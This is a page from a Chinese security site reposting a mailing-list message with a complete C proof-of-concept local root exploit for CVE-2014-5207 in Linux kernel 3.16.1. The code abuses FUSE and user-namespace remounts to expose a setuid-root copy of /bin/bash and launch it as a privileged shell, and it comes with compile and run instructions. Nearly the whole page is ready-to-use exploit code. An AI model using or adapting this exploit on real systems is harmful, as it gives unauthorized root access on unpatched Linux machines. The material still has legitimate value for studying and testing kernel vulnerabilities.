首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 3.16.1 FUSE Privilege Escalation
来源:miklos@szeredi.hu 作者:Szeredi 发布时间:2014-10-09  
I've been sitting on this for too long.  CVE-2014-5207 was an
interesting bug found by Kenton Varda and Eric Biederman.  Here's a
somewhat ugly PoC root exploit.  You'll need the ability to use FUSE,
although variants would work with removable media or network file
systems, too.

--Andy

/*
  FUSE-based exploit for CVE-2014-5207
  Copyright (c) 2014 Andy Lutomirski

  Based on code that is:
  Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>

  This program can be distributed under the terms of the GNU GPL.
  See the file COPYING.

  gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
  mkdir test
  ./fuse_suid test

  This isn't a work of art: it doesn't clean up after itself very well.
*/

#define _GNU_SOURCE
#define FUSE_USE_VERSION 26

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <err.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <unistd.h>

static const char *sh_path = "/sh";
static int sh_fd;
static loff_t sh_size;

static int hello_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, sh_path) == 0) {
        stbuf->st_mode = S_IFREG | 04755;
        stbuf->st_nlink = 1;
        stbuf->st_size = sh_size;
    } else
        res = -ENOENT;

    return res;
}

static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
             off_t offset, struct fuse_file_info *fi)
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0)
        return -ENOENT;

    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, sh_path + 1, NULL, 0);

    return 0;
}

static int hello_open(const char *path, struct fuse_file_info *fi)
{
    if (strcmp(path, sh_path) != 0)
        return -ENOENT;

    if ((fi->flags & 3) != O_RDONLY)
        return -EACCES;

    return 0;
}

static int hello_read(const char *path, char *buf, size_t size, off_t offset,
              struct fuse_file_info *fi)
{
    (void) fi;
    if (strcmp(path, sh_path) != 0)
        return -ENOENT;

    return pread(sh_fd, buf, size, offset);
}

static struct fuse_operations hello_oper = {
    .getattr    = hello_getattr,
    .readdir    = hello_readdir,
    .open        = hello_open,
    .read        = hello_read,
};

static int evilfd = -1;

static int child2(void *mnt_void)
{
    const char *mountpoint = mnt_void;
    int fd2;

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
        err(1, "unshare");

    if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0)
        err(1, "mount");

    fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY);
    if (fd2 == -1)
        err(1, "open");

    if (dup3(fd2, evilfd, O_CLOEXEC) == -1)
        err(1, "dup3");
    close(fd2);

    printf("Mount hackery seems to have worked.\n");

    exit(0);
}

static int child1(const char *mountpoint)
{
    char child2stack[2048];
    char evil_path[1024];

    evilfd = dup(0);
    if (evilfd == -1)
        err(1, "dup");

    if (clone(child2, child2stack,
          CLONE_FILES | CLONE_VFORK,
          (void *)mountpoint) == -1)
        err(1, "clone");

    printf("Here goes...\n");

    sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd);
    execl(evil_path, "sh", "-p", NULL);
    perror(evil_path);
    return 1;
}

static int fuse_main_suid(int argc, char *argv[],
              const struct fuse_operations *op,
              void *user_data)
{
    struct fuse *fuse;
    char *mountpoint;
    int multithreaded;
    int res;

    if (argc != 2) {
        printf("Usage: fuse_suid <mountpoint>\n");
        return -EINVAL;
    }

    char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL};

    fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args,
              op, sizeof(*op), &mountpoint,
              &multithreaded, user_data);
    if (fuse == NULL)
        return 1;

    printf("FUSE initialized.  Time to have some fun...\n");
    printf("Warning: this exploit hangs on exit.  Hit Ctrl-C when done.\n");
    if (fork() == 0)
        _exit(child1(mountpoint));

    if (multithreaded)
        res = fuse_loop_mt(fuse);
    else
        res = fuse_loop(fuse);

    fuse_teardown(fuse, mountpoint);
    if (res == -1)
        return 1;

    return 0;
}

int main(int argc, char *argv[])
{
    sh_fd = open("/bin/bash", O_RDONLY);
    if (sh_fd == -1)
        err(1, "sh");
    sh_size = lseek(sh_fd, 0, SEEK_END);
    return fuse_main_suid(argc, argv, &hello_oper, NULL);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenSSH 6.6 SFTP Misconfigurat
·F5 iControl Remote Root Comman
·Advanced Information Security
·Rejetto HttpFileServer Remote
·Wordpress Slideshow Gallery 1.
·Wordpress InfusionSoft Upload
·IPFire Cgi Web Interface Authe
·Android browser versions 4.4 c
·Bash - CGI RCE (MSF) Shellshoc
·SEO Control Panel 3.6.0 - Auth
·OpenVPN 2.2.29 - ShellShock Ex
·DNS Reverse Lookup Shellshock
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved